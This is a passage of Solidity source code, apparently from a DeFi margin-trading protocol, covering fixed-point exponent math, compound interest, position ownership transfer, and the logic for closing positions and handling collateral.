Fraction.Fraction128 memory expOfInt =
getPrecomputedEToThe(integerX % NUM_PRECOMPUTED_INTEGERS);
while (integerX >= NUM_PRECOMPUTED_INTEGERS) {
expOfInt = expOfInt.mul(getPrecomputedEToThe(NUM_PRECOMPUTED_INTEGERS));
integerX -= NUM_PRECOMPUTED_INTEGERS;
}
Fraction.Fraction128 memory decimalX = Fraction.Fraction128({
num: Xcopy.num % Xcopy.den,
den: Xcopy.den
});
return expHybrid(decimalX, precomputePrecision, maclaurinPrecision).mul(expOfInt);
}
function expHybrid(
Fraction.Fraction128 memory X,
uint256 precomputePrecision,
uint256 maclaurinPrecision
)
internal
pure
returns (Fraction.Fraction128 memory)
{
assert(precomputePrecision <= MAX_PRECOMPUTE_PRECISION);
assert(X.num < X.den);
Fraction.Fraction128 memory Xtemp = X.copy();
if (Xtemp.num == 0) {
return ONE();
}
Fraction.Fraction128 memory result = ONE();
uint256 d = 1;
for (uint256 i = 1; i <= precomputePrecision; i++) {
d *= 2;
if (d.mul(Xtemp.num) >= Xtemp.den) {
Xtemp = Xtemp.sub1Over(uint128(d));
result = result.mul(getPrecomputedEToTheHalfToThe(i));
}
}
return result.mul(expMaclaurin(Xtemp, maclaurinPrecision));
}
function expMaclaurin(
Fraction.Fraction128 memory X,
uint256 precision
)
internal
pure
returns (Fraction.Fraction128 memory)
{
Fraction.Fraction128 memory Xcopy = X.copy();
if (Xcopy.num == 0) {
return ONE();
}
Fraction.Fraction128 memory result = ONE();
Fraction.Fraction128 memory Xtemp = ONE();
for (uint256 i = 1; i <= precision; i++) {
Xtemp = Xtemp.mul(Xcopy.div(uint128(i)));
result = result.add(Xtemp);
}
return result;
}
function getPrecomputedEToTheHalfToThe(
uint256 x
)
internal
pure
returns (Fraction.Fraction128 memory)
{
assert(x <= MAX_PRECOMPUTE_PRECISION);
uint128 denominator = [
125182886983370532117250726298150828301,
206391688497133195273760705512282642279,
265012173823417992016237332255925138361,
300298134811882980317033350418940119802,
319665700530617779809390163992561606014,
329812979126047300897653247035862915816,
335006777809430963166468914297166288162,
337634268532609249517744113622081347950,
338955731696479810470146282672867036734,
339618401537809365075354109784799900812,
339950222128463181389559457827561204959,
340116253979683015278260491021941090650,
340199300311581465057079429423749235412,
340240831081268226777032180141478221816,
340261598367316729254995498374473399540,
340271982485676106947851156443492415142,
340277174663693808406010255284800906112,
340279770782412691177936847400746725466,
340281068849199706686796915841848278311,
340281717884450116236033378667952410919,
340282042402539547492367191008339680733,
340282204661700319870089970029119685699,
340282285791309720262481214385569134454,
340282326356121674011576912006427792656,
340282346638529464274601981200276914173,
340282356779733812753265346086924801364,
340282361850336100329388676752133324799,
340282364385637272451648746721404212564,
340282365653287865596328444437856608255,
340282366287113163939555716675618384724,
340282366604025813553891209601455838559,
340282366762482138471739420386372790954,
340282366841710300958333641874363209044
][x];
return Fraction.Fraction128({
num: MAX_NUMERATOR,
den: denominator
});
}
function getPrecomputedEToThe(
uint256 x
)
internal
pure
returns (Fraction.Fraction128 memory)
{
assert(x <= NUM_PRECOMPUTED_INTEGERS);
uint128 denominator = [
340282366920938463463374607431768211455,
125182886983370532117250726298150828301,
46052210507670172419625860892627118820,
16941661466271327126146327822211253888,
6232488952727653950957829210887653621,
2292804553036637136093891217529878878,
843475657686456657683449904934172134,
310297353591408453462393329342695980,
114152017036184782947077973323212575,
41994180235864621538772677139808695,
15448795557622704876497742989562086,
5683294276510101335127414470015662,
2090767122455392675095471286328463,
769150240628514374138961856925097,
282954560699298259527814398449860,
104093165666968799599694528310221,
38293735615330848145349245349513,
14087478058534870382224480725096,
5182493555688763339001418388912,
1906532833141383353974257736699,
701374233231058797338605168652,
258021160973090761055471434334,
94920680509187392077350434438,
34919366901332874995585576427,
12846117181722897538509298435,
4725822410035083116489797150,
1738532907279185132707372378,
639570514388029575350057932,
235284843422800231081973821,
86556456714490055457751527,
31842340925906738090071268,
11714142585413118080082437,
4309392228124372433711936
][x];
return Fraction.Fraction128({
num: MAX_NUMERATOR,
den: denominator
});
}
function ONE()
private
pure
returns (Fraction.Fraction128 memory)
{
return Fraction.Fraction128({ num: 1, den: 1 });
}
}
library MathHelpers {
using SafeMath for uint256;
function getPartialAmount(
uint256 numerator,
uint256 denominator,
uint256 target
)
internal
pure
returns (uint256)
{
return numerator.mul(target).div(denominator);
}
function getPartialAmountRoundedUp(
uint256 numerator,
uint256 denominator,
uint256 target
)
internal
pure
returns (uint256)
{
return divisionRoundedUp(numerator.mul(target), denominator);
}
function divisionRoundedUp(
uint256 numerator,
uint256 denominator
)
internal
pure
returns (uint256)
{
assert(denominator != 0);
if (numerator == 0) {
return 0;
}
return numerator.sub(1).div(denominator).add(1);
}
function maxUint256(
)
internal
pure
returns (uint256)
{
return 2 ** 256 - 1;
}
function maxUint32(
)
internal
pure
returns (uint32)
{
return 2 ** 32 - 1;
}
function getNumBits(
uint256 n
)
internal
pure
returns (uint256)
{
uint256 first = 0;
uint256 last = 256;
while (first < last) {
uint256 check = (first + last) / 2;
if ((n >> check) == 0) {
last = check;
} else {
first = check + 1;
}
}
assert(first <= 256);
return first;
}
}
library InterestImpl {
using SafeMath for uint256;
using FractionMath for Fraction.Fraction128;
uint256 constant DEFAULT_PRECOMPUTE_PRECISION = 11;
uint256 constant DEFAULT_MACLAURIN_PRECISION = 5;
uint256 constant MAXIMUM_EXPONENT = 80;
uint128 constant E_TO_MAXIUMUM_EXPONENT = 55406223843935100525711733958316613;
function getCompoundedInterest(
uint256 principal,
uint256 interestRate,
uint256 secondsOfInterest
)
public
pure
returns (uint256)
{
uint256 numerator = interestRate.mul(secondsOfInterest);
uint128 denominator = (10**8) * (365 * 1 days);
assert(numerator < 2**128);
Fraction.Fraction128 memory rt = Fraction.Fraction128({
num: uint128(numerator),
den: denominator
});
Fraction.Fraction128 memory eToRT;
if (numerator.div(denominator) >= MAXIMUM_EXPONENT) {
eToRT = Fraction.Fraction128({
num: E_TO_MAXIUMUM_EXPONENT,
den: 1
});
} else {
eToRT = Exponent.exp(
rt,
DEFAULT_PRECOMPUTE_PRECISION,
DEFAULT_MACLAURIN_PRECISION
);
}
assert(eToRT.num >= eToRT.den);
return safeMultiplyUint256ByFraction(principal, eToRT);
}
function safeMultiplyUint256ByFraction(
uint256 n,
Fraction.Fraction128 memory f
)
private
pure
returns (uint256)
{
uint256 term1 = n.div(2 ** 128);
uint256 term2 = n % (2 ** 128);
if (term1 > 0) {
term1 = term1.mul(f.num);
uint256 numBits = MathHelpers.getNumBits(term1);
term1 = MathHelpers.divisionRoundedUp(
term1 << (uint256(256).sub(numBits)),
f.den);
if (numBits > 128) {
term1 = term1 << (numBits.sub(128));
} else if (numBits < 128) {
term1 = term1 >> (uint256(128).sub(numBits));
}
}
term2 = MathHelpers.getPartialAmountRoundedUp(
f.num,
f.den,
term2
);
return term1.add(term2);
}
}
library MarginState {
struct State {
address VAULT;
address TOKEN_PROXY;
mapping (bytes32 => uint256) loanFills;
mapping (bytes32 => uint256) loanCancels;
mapping (bytes32 => MarginCommon.Position) positions;
mapping (bytes32 => bool) closedPositions;
mapping (bytes32 => uint256) totalOwedTokenRepaidToLender;
}
}
interface LoanOwner {
function receiveLoanOwnership(
address from,
bytes32 positionId
)
external
returns (address);
}
interface PositionOwner {
function receivePositionOwnership(
address from,
bytes32 positionId
)
external
returns (address);
}
library TransferInternal {
event LoanTransferred(
bytes32 indexed positionId,
address indexed from,
address indexed to
);
event PositionTransferred(
bytes32 indexed positionId,
address indexed from,
address indexed to
);
function grantLoanOwnership(
bytes32 positionId,
address oldOwner,
address newOwner
)
internal
returns (address)
{
if (oldOwner != address(0)) {
emit LoanTransferred(positionId, oldOwner, newOwner);
}
if (AddressUtils.isContract(newOwner)) {
address nextOwner =
LoanOwner(newOwner).receiveLoanOwnership(oldOwner, positionId);
if (nextOwner != newOwner) {
return grantLoanOwnership(positionId, newOwner, nextOwner);
}
}
require(
newOwner != address(0),
"TransferInternal#grantLoanOwnership: New owner did not consent to owning loan"
);
return newOwner;
}
function grantPositionOwnership(
bytes32 positionId,
address oldOwner,
address newOwner
)
internal
returns (address)
{
if (oldOwner != address(0)) {
emit PositionTransferred(positionId, oldOwner, newOwner);
}
if (AddressUtils.isContract(newOwner)) {
address nextOwner =
PositionOwner(newOwner).receivePositionOwnership(oldOwner, positionId);
if (nextOwner != newOwner) {
return grantPositionOwnership(positionId, newOwner, nextOwner);
}
}
require(
newOwner != address(0),
"TransferInternal#grantPositionOwnership: New owner did not consent to owning position"
);
return newOwner;
}
}
library TimestampHelper {
function getBlockTimestamp32()
internal
view
returns (uint32)
{
assert(uint256(uint32(block.timestamp)) == block.timestamp);
assert(block.timestamp > 0);
return uint32(block.timestamp);
}
}
library MarginCommon {
using SafeMath for uint256;
struct Position {
address owedToken;
address heldToken;
address lender;
address owner;
uint256 principal;
uint256 requiredDeposit;
uint32 callTimeLimit;
uint32 startTimestamp;
uint32 callTimestamp;
uint32 maxDuration;
uint32 interestRate;
uint32 interestPeriod;
}
struct LoanOffering {
address owedToken;
address heldToken;
address payer;
address owner;
address taker;
address positionOwner;
address feeRecipient;
address lenderFeeToken;
address takerFeeToken;
LoanRates rates;
uint256 expirationTimestamp;
uint32 callTimeLimit;
uint32 maxDuration;
uint256 salt;
bytes32 loanHash;
bytes signature;
}
struct LoanRates {
uint256 maxAmount;
uint256 minAmount;
uint256 minHeldToken;
uint256 lenderFee;
uint256 takerFee;
uint32 interestRate;
uint32 interestPeriod;
}
function storeNewPosition(
MarginState.State storage state,
bytes32 positionId,
Position memory position,
address loanPayer
)
internal
{
assert(!positionHasExisted(state, positionId));
assert(position.owedToken != address(0));
assert(position.heldToken != address(0));
assert(position.owedToken != position.heldToken);
assert(position.owner != address(0));
assert(position.lender != address(0));
assert(position.maxDuration != 0);
assert(position.interestPeriod <= position.maxDuration);
assert(position.callTimestamp == 0);
assert(position.requiredDeposit == 0);
state.positions[positionId].owedToken = position.owedToken;
state.positions[positionId].heldToken = position.heldToken;
state.positions[positionId].principal = position.principal;
state.positions[positionId].callTimeLimit = position.callTimeLimit;
state.positions[positionId].startTimestamp = TimestampHelper.getBlockTimestamp32();
state.positions[positionId].maxDuration = position.maxDuration;
state.positions[positionId].interestRate = position.interestRate;
state.positions[positionId].interestPeriod = position.interestPeriod;
state.positions[positionId].owner = TransferInternal.grantPositionOwnership(
positionId,
(position.owner != msg.sender) ? msg.sender : address(0),
position.owner
);
state.positions[positionId].lender = TransferInternal.grantLoanOwnership(
positionId,
(position.lender != loanPayer) ? loanPayer : address(0),
position.lender
);
}
function getPositionIdFromNonce(
uint256 nonce
)
internal
view
returns (bytes32)
{
return keccak256(abi.encodePacked(msg.sender, nonce));
}
function getUnavailableLoanOfferingAmountImpl(
MarginState.State storage state,
bytes32 loanHash
)
internal
view
returns (uint256)
{
return state.loanFills[loanHash].add(state.loanCancels[loanHash]);
}
function cleanupPosition(
MarginState.State storage state,
bytes32 positionId
)
internal
{
delete state.positions[positionId];
state.closedPositions[positionId] = true;
}
function calculateOwedAmount(
Position storage position,
uint256 closeAmount,
uint256 endTimestamp
)
internal
view
returns (uint256)
{
uint256 timeElapsed = calculateEffectiveTimeElapsed(position, endTimestamp);
return InterestImpl.getCompoundedInterest(
closeAmount,
position.interestRate,
timeElapsed
);
}
function calculateEffectiveTimeElapsed(
Position storage position,
uint256 timestamp
)
internal
view
returns (uint256)
{
uint256 elapsed = timestamp.sub(position.startTimestamp);
uint256 period = position.interestPeriod;
if (period > 1) {
elapsed = MathHelpers.divisionRoundedUp(elapsed, period).mul(period);
}
return Math.min256(
elapsed,
position.maxDuration
);
}
function calculateLenderAmountForIncreasePosition(
Position storage position,
uint256 principalToAdd,
uint256 endTimestamp
)
internal
view
returns (uint256)
{
uint256 timeElapsed = calculateEffectiveTimeElapsedForNewLender(position, endTimestamp);
return InterestImpl.getCompoundedInterest(
principalToAdd,
position.interestRate,
timeElapsed
);
}
function getLoanOfferingHash(
LoanOffering loanOffering
)
internal
view
returns (bytes32)
{
return keccak256(
abi.encodePacked(
address(this),
loanOffering.owedToken,
loanOffering.heldToken,
loanOffering.payer,
loanOffering.owner,
loanOffering.taker,
loanOffering.positionOwner,
loanOffering.feeRecipient,
loanOffering.lenderFeeToken,
loanOffering.takerFeeToken,
getValuesHash(loanOffering)
)
);
}
function getPositionBalanceImpl(
MarginState.State storage state,
bytes32 positionId
)
internal
view
returns(uint256)
{
return Vault(state.VAULT).balances(positionId, state.positions[positionId].heldToken);
}
function containsPositionImpl(
MarginState.State storage state,
bytes32 positionId
)
internal
view
returns (bool)
{
return state.positions[positionId].startTimestamp != 0;
}
function positionHasExisted(
MarginState.State storage state,
bytes32 positionId
)
internal
view
returns (bool)
{
return containsPositionImpl(state, positionId) || state.closedPositions[positionId];
}
function getPositionFromStorage(
MarginState.State storage state,
bytes32 positionId
)
internal
view
returns (Position storage)
{
Position storage position = state.positions[positionId];
require(
position.startTimestamp != 0,
"MarginCommon#getPositionFromStorage: The position does not exist"
);
return position;
}
function calculateEffectiveTimeElapsedForNewLender(
Position storage position,
uint256 timestamp
)
private
view
returns (uint256)
{
uint256 elapsed = timestamp.sub(position.startTimestamp);
uint256 period = position.interestPeriod;
if (period > 1) {
elapsed = elapsed.div(period).mul(period);
}
return Math.min256(
elapsed,
position.maxDuration
);
}
function getValuesHash(
LoanOffering loanOffering
)
private
pure
returns (bytes32)
{
return keccak256(
abi.encodePacked(
loanOffering.rates.maxAmount,
loanOffering.rates.minAmount,
loanOffering.rates.minHeldToken,
loanOffering.rates.lenderFee,
loanOffering.rates.takerFee,
loanOffering.expirationTimestamp,
loanOffering.salt,
loanOffering.callTimeLimit,
loanOffering.maxDuration,
loanOffering.rates.interestRate,
loanOffering.rates.interestPeriod
)
);
}
}
interface PayoutRecipient {
function receiveClosePositionPayout(
bytes32 positionId,
uint256 closeAmount,
address closer,
address positionOwner,
address heldToken,
uint256 payout,
uint256 totalHeldToken,
bool payoutInHeldToken
)
external
returns (bool);
}
interface CloseLoanDelegator {
function closeLoanOnBehalfOf(
address closer,
address payoutRecipient,
bytes32 positionId,
uint256 requestedAmount
)
external
returns (address, uint256);
}
interface ClosePositionDelegator {
function closeOnBehalfOf(
address closer,
address payoutRecipient,
bytes32 positionId,
uint256 requestedAmount
)
external
returns (address, uint256);
}
library ClosePositionShared {
using SafeMath for uint256;
struct CloseTx {
bytes32 positionId;
uint256 originalPrincipal;
uint256 closeAmount;
uint256 owedTokenOwed;
uint256 startingHeldTokenBalance;
uint256 availableHeldToken;
address payoutRecipient;
address owedToken;
address heldToken;
address positionOwner;
address positionLender;
address exchangeWrapper;
bool payoutInHeldToken;
}
function closePositionStateUpdate(
MarginState.State storage state,
CloseTx memory transaction
)
internal
{
if (transaction.closeAmount == transaction.originalPrincipal) {
MarginCommon.cleanupPosition(state, transaction.positionId);
} else {
assert(
transaction.originalPrincipal == state.positions[transaction.positionId].principal
);
state.positions[transaction.positionId].principal =
transaction.originalPrincipal.sub(transaction.closeAmount);
}
}
function sendTokensToPayoutRecipient(
MarginState.State storage state,
ClosePositionShared.CloseTx memory transaction,
uint256 buybackCostInHeldToken,
uint256 receivedOwedToken
)
internal
returns (uint256)
{
uint256 payout;
if (transaction.payoutInHeldToken) {
payout = transaction.availableHeldToken.sub(buybackCostInHeldToken);
Vault(state.VAULT).transferFromVault(
transaction.positionId,
transaction.heldToken,
transaction.payoutRecipient,
payout
);
} else {
assert(transaction.exchangeWrapper != address(0));
payout = receivedOwedToken.sub(transaction.owedTokenOwed);
TokenProxy(state.TOKEN_PROXY).transferTokens(
transaction.owedToken,
transaction.exchangeWrapper,
transaction.payoutRecipient,
payout
);
}
if (AddressUtils.isContract(transaction.payoutRecipient)) {
require(
PayoutRecipient(transaction.payoutRecipient).receiveClosePositionPayout(
transaction.positionId,
transaction.closeAmount,
msg.sender,
transaction.positionOwner,
transaction.heldToken,
payout,
transaction.availableHeldToken,
transaction.payoutInHeldToken
),
"ClosePositionShared#sendTokensToPayoutRecipient: Payout recipient does not consent"
);
}
assert(
MarginCommon.getPositionBalanceImpl(state, transaction.positionId)
== transaction.startingHeldTokenBalance.sub(transaction.availableHeldToken)
);
return payout;
}
function createCloseTx(
MarginState.State storage state,
bytes32 positionId,
uint256 requestedAmount,
address payoutRecipient,
address exchangeWrapper,
bool payoutInHeldToken,
bool isWithoutCounterparty
)
internal
returns (CloseTx memory)
{
require(
payoutRecipient != address(0),
"ClosePositionShared#createCloseTx: Payout recipient cannot be 0"
);
require(
requestedAmount > 0,
"ClosePositionShared#createCloseTx: Requested close amount cannot be 0"
);
MarginCommon.Position storage position =
MarginCommon.getPositionFromStorage(state, positionId);
uint256 closeAmount = getApprovedAmount(
position,
positionId,
requestedAmount,
payoutRecipient,
isWithoutCounterparty
);
return parseCloseTx(
state,
position,
positionId,
closeAmount,
payoutRecipient,
exchangeWrapper,
payoutInHeldToken,
isWithoutCounterparty
);
}
function getApprovedAmount(
MarginCommon.Position storage position,
bytes32 positionId,
uint256 requestedAmount,
address payoutRecipient,
bool requireLenderApproval
)
private
returns (uint256)
{
uint256 allowedAmount = Math.min256(requestedAmount, position.principal);
allowedAmount = closePositionOnBehalfOfRecurse(
position.owner,
msg.sender,
payoutRecipient,
positionId,
allowedAmount
);
if (requireLenderApproval) {
allowedAmount = closeLoanOnBehalfOfRecurse(
position.lender,
msg.sender,
payoutRecipient,
positionId,
allowedAmount
);
}
assert(allowedAmount > 0);
assert(allowedAmount <= position.principal);
assert(allowedAmount <= requestedAmount);
return allowedAmount;
}
function closePositionOnBehalfOfRecurse(
address contractAddr,
address closer,
address payoutRecipient,
bytes32 positionId,
uint256 closeAmount
)
private
returns (uint256)
{
if (closer == contractAddr) {
return closeAmount;
}
(
address newContractAddr,
uint256 newCloseAmount
) = ClosePositionDelegator(contractAddr).closeOnBehalfOf(
closer,
payoutRecipient,
positionId,
closeAmount
);
require(
newCloseAmount <= closeAmount,
"ClosePositionShared#closePositionRecurse: newCloseAmount is greater than closeAmount"
);
require(
newCloseAmount > 0,
"ClosePositionShared#closePositionRecurse: newCloseAmount is zero"
);
if (newContractAddr != contractAddr) {
closePositionOnBehalfOfRecurse(
newContractAddr,
closer,
payoutRecipient,
positionId,
newCloseAmount
);
}
return newCloseAmount;
}
function closeLoanOnBehalfOfRecurse(
address contractAddr,
address closer,
address payoutRecipient,
bytes32 positionId,
uint256 closeAmount
)
private
returns (uint256)
{
if (closer == contractAddr) {
return closeAmount;
}
(
address newContractAddr,
uint256 newCloseAmount
) = CloseLoanDelegator(contractAddr).closeLoanOnBehalfOf(
closer,
payoutRecipient,
positionId,
closeAmount
);
require(
newCloseAmount <= closeAmount,
"ClosePositionShared#closeLoanRecurse: newCloseAmount is greater than closeAmount"
);
require(
newCloseAmount > 0,
"ClosePositionShared#closeLoanRecurse: newCloseAmount is zero"
);
if (newContractAddr != contractAddr) {
closeLoanOnBehalfOfRecurse(
newContractAddr,
closer,
payoutRecipient,
positionId,
newCloseAmount
);
}
return newCloseAmount;
}
function parseCloseTx(
MarginState.State storage state,
MarginCommon.Position storage position,
bytes32 positionId,
uint256 closeAmount,
address payoutRecipient,
address exchangeWrapper,
bool payoutInHeldToken,
bool isWithoutCounterparty
)
private
view
returns (CloseTx memory)
{
uint256 startingHeldTokenBalance = MarginCommon.getPositionBalanceImpl(state, positionId);
uint256 availableHeldToken = MathHelpers.getPartialAmount(
closeAmount,
position.principal,
startingHeldTokenBalance
);
uint256 owedTokenOwed = 0;
if (!isWithoutCounterparty) {
owedTokenOwed = MarginCommon.calculateOwedAmount(
position,
closeAmount,
block.timestamp
);
}
return CloseTx({
positionId: positionId,
originalPrincipal: position.principal,
closeAmount: closeAmount,
owedTokenOwed: owedTokenOwed,
startingHeldTokenBalance: startingHeldTokenBalance,
availableHeldToken: availableHeldToken,
payoutRecipient: payoutRecipient,
owedToken: position.owedToken,
heldToken: position.heldToken,
positionOwner: position.owner,
positionLender: position.lender,
exchangeWrapper: exchangeWrapper,
payoutInHeldToken: payoutInHeldToken
});
}
}
interface ExchangeWrapper {
function exchange(
address tradeOriginator,
address receiver,
address makerToken,
address takerToken,
uint256 requestedFillAmount,
bytes orderData
)
external
returns (uint256);
function getExchangeCost(
address makerToken,
address takerToken,
uint256 desiredMakerToken,
bytes orderData
)
external
view
returns (uint256);
}
library ClosePositionImpl {
using SafeMath for uint256;
event PositionClosed(
bytes32 indexed positionId,
address indexed closer,
address indexed payoutRecipient,
uint256 closeAmount,
uint256 remainingAmount,
uint256 owedTokenPaidToLender,
uint256 payoutAmount,
uint256 buybackCostInHeldToken,
bool payoutInHeldToken
);
function closePositionImpl(
MarginState.State storage state,
bytes32 positionId,
uint256 requestedCloseAmount,
address payoutRecipient,
address exchangeWrapper,
bool payoutInHeldToken,
bytes memory orderData
)
public
returns (uint256, uint256, uint256)
{
ClosePositionShared.CloseTx memory transaction = ClosePositionShared.createCloseTx(
state,
positionId,
requestedCloseAmount,
payoutRecipient,
exchangeWrapper,
payoutInHeldToken,
false
);
(
uint256 buybackCostInHeldToken,
uint256 receivedOwedToken
) = returnOwedTokensToLender(
state,
transaction,
orderData
);
uint256 payout = ClosePositionShared.sendTokensToPayoutRecipient(
state,
transaction,
buybackCostInHeldToken,
receivedOwedToken
);
ClosePositionShared.closePositionStateUpdate(state, transaction);
logEventOnClose(
transaction,
buybackCostInHeldToken,
payout
);
return (
transaction.closeAmount,
payout,
transaction.owedTokenOwed
);
}
function returnOwedTokensToLender(
MarginState.State storage state,
ClosePositionShared.CloseTx memory transaction,
bytes memory orderData
)
private
returns (uint256, uint256)
{
uint256 buybackCostInHeldToken = 0;
uint256 receivedOwedToken = 0;
uint256 lenderOwedToken = transaction.owedTokenOwed;
if (transaction.exchangeWrapper == address(0)) {
require(
transaction.payoutInHeldToken,
"ClosePositionImpl#returnOwedTokensToLender: Cannot payout in owedToken"
);
TokenProxy(state.TOKEN_PROXY).transferTokens(
transaction.owedToken,
msg.sender,
transaction.positionLender,
lenderOwedToken
);
} else {
(buybackCostInHeldToken, receivedOwedToken) = buyBackOwedToken(
state,
transaction,
orderData
);
if (transaction.payoutInHeldToken) {
assert(receivedOwedToken >= lenderOwedToken);
lenderOwedToken = receivedOwedToken;
}
TokenProxy(state.TOKEN_PROXY).transferTokens(
transaction.owedToken,
transaction.exchangeWrapper,
transaction.positionLender,
lenderOwedToken
);
}
state.totalOwedTokenRepaidToLender[transaction.positionId] =
state.totalOwedTokenRepaidToLender[transaction.positionId].add(lenderOwedToken);
return (buybackCostInHeldToken, receivedOwedToken);
}
function buyBackOwedToken(
MarginState.State storage state,
ClosePositionShared.CloseTx transaction,
bytes memory orderData
)
private
returns (uint256, uint256)
{
uint256 buybackCostInHeldToken;
if (transaction.payoutInHeldToken) {
buybackCostInHeldToken = ExchangeWrapper(transaction.exchangeWrapper)
.getExchangeCost(
transaction.owedToken,
transaction.heldToken,
transaction.owedTokenOwed,
orderData
);
require(
buybackCostInHeldToken <= transaction.availableHeldToken,
"ClosePositionImpl#buyBackOwedToken: Not enough available heldToken"
);
} else {
buybackCostInHeldToken = transaction.availableHeldToken;
}
Vault(state.VAULT).transferFromVault(
transaction.positionId,
transaction.heldToken,
transaction.exchangeWrapper,
buybackCostInHeldToken
);
uint256 receivedOwedToken = ExchangeWrapper(transaction.exchangeWrapper).exchange(
msg.sender,
state.TOKEN_PROXY,
transaction.owedToken,
transaction.heldToken,
buybackCostInHeldToken,
orderData
);
require(
receivedOwedToken >= transaction.owedTokenOwed,
"ClosePositionImpl#buyBackOwedToken: Did not receive enough owedToken"
);
return (buybackCostInHeldToken, receivedOwedToken);
}
function logEventOnClose(
ClosePositionShared.CloseTx transaction,
uint256 buybackCostInHeldToken,
uint256 payout
)
private
{
emit PositionClosed(
transaction.positionId,
msg.sender,
transaction.payoutRecipient,
transaction.closeAmount,
transaction.originalPrincipal.sub(transaction.closeAmount),
transaction.owedTokenOwed,
payout,
buybackCostInHeldToken,
transaction.payoutInHeldToken
);
}
}
library CloseWithoutCounterpartyImpl {
using SafeMath for uint256;
event PositionClosed(
bytes32 indexed positionId,
address indexed closer,
address indexed payoutRecipient,
uint256 closeAmount,
uint256 remainingAmount,
uint256 owedTokenPaidToLender,
uint256 payoutAmount,
uint256 buybackCostInHeldToken,
bool payoutInHeldToken
);
function closeWithoutCounterpartyImpl(
MarginState.State storage state,
bytes32 positionId,
uint256 requestedCloseAmount,
address payoutRecipient
)
public
returns (uint256, uint256)
{
ClosePositionShared.CloseTx memory transaction = ClosePositionShared.createCloseTx(
state,
positionId,
requestedCloseAmount,
payoutRecipient,
address(0),
true,
true
);
uint256 heldTokenPayout = ClosePositionShared.sendTokensToPayoutRecipient(
state,
transaction,
0,
0
);
ClosePositionShared.closePositionStateUpdate(state, transaction);
logEventOnCloseWithoutCounterparty(transaction);
return (
transaction.closeAmount,
heldTokenPayout
);
}
function logEventOnCloseWithoutCounterparty(
ClosePositionShared.CloseTx transaction
)
private
{
emit PositionClosed(
transaction.positionId,
msg.sender,
transaction.payoutRecipient,
transaction.closeAmount,
transaction.originalPrincipal.sub(transaction.closeAmount),
0,
transaction.availableHeldToken,
0,
true
);
}
}
interface DepositCollateralDelegator {
function depositCollateralOnBehalfOf(
address depositor,
bytes32 positionId,
uint256 amount
)
external
returns (address);
}
library DepositCollateralImpl {
using SafeMath for uint256;
event AdditionalCollateralDeposited(
bytes32 indexed positionId,
uint256 amount,
address depositor
);
event MarginCallCanceled(
bytes32 indexed positionId,
address indexed lender,
address indexed owner,
uint256 depositAmount
);
function depositCollateralImpl(
MarginState.State storage state,
bytes32 positionId,
uint256 depositAmount
)
public
{
MarginCommon.Position storage position =
MarginCommon.getPositionFromStorage(state, positionId);
require(
depositAmount > 0,
"DepositCollateralImpl#depositCollateralImpl: Deposit amount cannot be 0"
);
depositCollateralOnBehalfOfRecurse(
position.owner,
msg.sender,
positionId,
depositAmount
);
Vault(state.VAULT).transferToVault(
positionId,
position.heldToken,
msg.sender,
depositAmount
);
bool marginCallCanceled = false;
uint256 requiredDeposit = position.requiredDeposit;
if (position.callTimestamp > 0 && requiredDeposit > 0) {
if (depositAmount >= requiredDeposit) {
position.requiredDeposit = 0;
position.callTimestamp = 0;
marginCallCanceled = true;
} else {
position.requiredDeposit = position.requiredDeposit.sub(depositAmount);
}
}
emit AdditionalCollateralDeposited(
positionId,
depositAmount,
msg.sender
);
if (marginCallCanceled) {
emit MarginCallCanceled(
positionId,
position.lender,
msg.sender,
depositAmount
);
}
}
function depositCollateralOnBehalfOfRecurse(
address contractAddr,
address depositor,
bytes32 positionId,
uint256 amount
)
private
{
if (depositor == contractAddr) {
return;
}
address newContractAddr =
DepositCollateralDelegator(contractAddr).depositCollateralOnBehalfOf(
depositor,
positionId,
amount
);
if (newContractAddr != contractAddr) {
depositCollateralOnBehalfOfRecurse(
newContractAddr,
depositor,
positionId,
amount
);
}
}
}
interface ForceRecoverCollateralDelegator {
function forceRecoverCollateralOnBehalfOf(
address recoverer,
bytes32 positionId,
address recipient
)
external
returns (address);
}
library ForceRecoverCollateralImpl {
using SafeMath for uint256;
event CollateralForceRecovered(
bytes32 indexed positionId,
address indexed recipient,
uint256 amount
);
function forceRecoverCollateralImpl(
MarginState.State storage state,
bytes32 positionId,
address recipient
)
public
returns (uint256)
{
MarginCommon.Position storage position =
MarginCommon.getPositionFromStorage(state, positionId);
require(
(
position.callTimestamp > 0
&& block.timestamp >= uint256(position.callTimestamp).add(position.callTimeLimit)
) || (
block.timestamp >= uint256(position.startTimestamp).add(position.maxDuration)
),
"ForceRecoverCollateralImpl#forceRecoverCollateralImpl: Cannot recover yet"
);
forceRecoverCollateralOnBehalfOfRecurse(
position.lender,
msg.sender,
positionId,
recipient
);
uint256 heldTokenRecovered = MarginCommon.getPositionBalanceImpl(state, positionId);
Vault(state.VAULT).transferFromVault(
positionId,
position.heldToken,
recipient,
heldTokenRecovered
);
MarginCommon.cleanupPosition(
state,
positionId
);
emit CollateralForceRecovered(
positionId,
recipient,
heldTokenRecovered
);
return heldTokenRecovered;
}
function forceRecoverCollateralOnBehalfOfRecurse(
address contractAddr,
address recoverer,
bytes32 positionId,
address recipient
)
private
{
if (recoverer == contractAddr) {
return;
}
address newContractAddr =
ForceRecoverCollateralDelegator(contractAddr).forceRecoverCollateralOnBehalfOf(
recoverer,
positionId,
recipient
);
if (newContractAddr != contractAddr) {
forceRecoverCollateralOnBehalfOfRecurse(
newContractAddr,
recoverer,
positionId,
recipient
);
}
}
}
library TypedSignature {
uint8 private constant SIGTYPE_INVALID = 0;
uint8 private constant SIGTYPE_ECRECOVER_DEC = 1;
uint8 private constant SIGTYPE_ECRECOVER_HEX = 2;
uint8 private constant SIGTYPE_UNSUPPORTED = 3;
bytes constant private PREPEND_HEX = "\x19Ethereum Signed Message:\n\x20";
bytes constant private PREPEND_DEC = "\x19Ethereum Signed Message:\n32";
function recover(
bytes32 hash,
bytes signatureWithType
)
internal
pure
returns (address)
{
require(
signatureWithType.length == 66,
"SignatureValidator#validateSignature: invalid signature length"
);
uint8 sigType = uint8(signatureWithType[0]);
require(
sigType > uint8(SIGTYPE_INVALID),
"SignatureValidator#validateSignature: invalid signature type"
);
require(
sigType < uint8(SIGTYPE_UNSUPPORTED),
"SignatureValidator#validateSignature: unsupported signature type"
);
uint8 v = uint8(signatureWithType[1]);
bytes32 r;
bytes32 s;
assembly {
r := mload(add(signatureWithType, 34))
s := mload(add(signatureWithType, 66))
}
bytes32 signedHash;
if (sigType == SIGTYPE_ECRECOVER_DEC) {
signedHash = keccak256(abi.encodePacked(PREPEND_DEC, hash));
} else {
assert(sigType == SIGTYPE_ECRECOVER_HEX);
